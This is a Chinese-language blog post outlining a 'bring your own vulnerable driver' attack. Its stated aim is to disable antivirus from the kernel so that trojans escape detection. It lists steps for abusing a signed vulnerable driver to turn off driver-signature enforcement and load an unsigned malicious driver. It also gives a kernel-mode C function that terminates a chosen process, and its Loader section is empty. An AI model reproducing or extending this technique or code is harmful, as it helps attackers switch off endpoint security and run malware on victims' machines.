idiotc4t's blog
搜索文档…
GitBook 提供支持
VulnBins的利用 (vuln driver)

简介

挺久没水博客了,今个简单写点,现在的杀软越来越"现代化"了,老是尝试免杀已有木马使我疲惫,干脆想种一劳永逸的解决办法,(自写C2 狗头),当然这是个体力活,这篇文件简单介绍下白漏洞驱动带起黑驱动,直接从内核干掉杀软。

流程

    1.
    找一个存在任意文件读取的漏洞驱动
    2.
    加载驱动并漏洞利用修改内核DES位(作用于驱动签名校验)
    3.
    加载黑驱动
    4.
    漏洞利用改回原值
    5.
    卸载白驱动

代码片段

鲨进程 驱动片段

获取当前进程EPROCESS,遍历ActiveProcessLinks获取和判断进程,符合条件就给扬了,当然最好用点强杀手段。
1
BOOLEAN KillProcess(ULONG PID)
2
{
3
NTSTATUS ntStatus = STATUS_SUCCESS;
4
PVOID hProcess;
5
PEPROCESS pEprcess;
6
ntStatus = PsLookupProcessByProcessId(PID, &pEprcess);
7
8
if (NT_SUCCESS(ntStatus))
9
{
10
if (ObOpenObjectByPointer((PVOID)pEprcess, 0, NULL, 0, NULL, KernelMode, &hProcess) != STATUS_SUCCESS)
11
{
12
return FALSE;
13
}
14
ZwTerminateProcess((HANDLE)hProcess, STATUS_SUCCESS);
15
ZwClose((HANDLE)hProcess);
16
return TRUE;
17
}
18
};
19
Copied!

Loader

1
Copied!
最近更新 4mo ago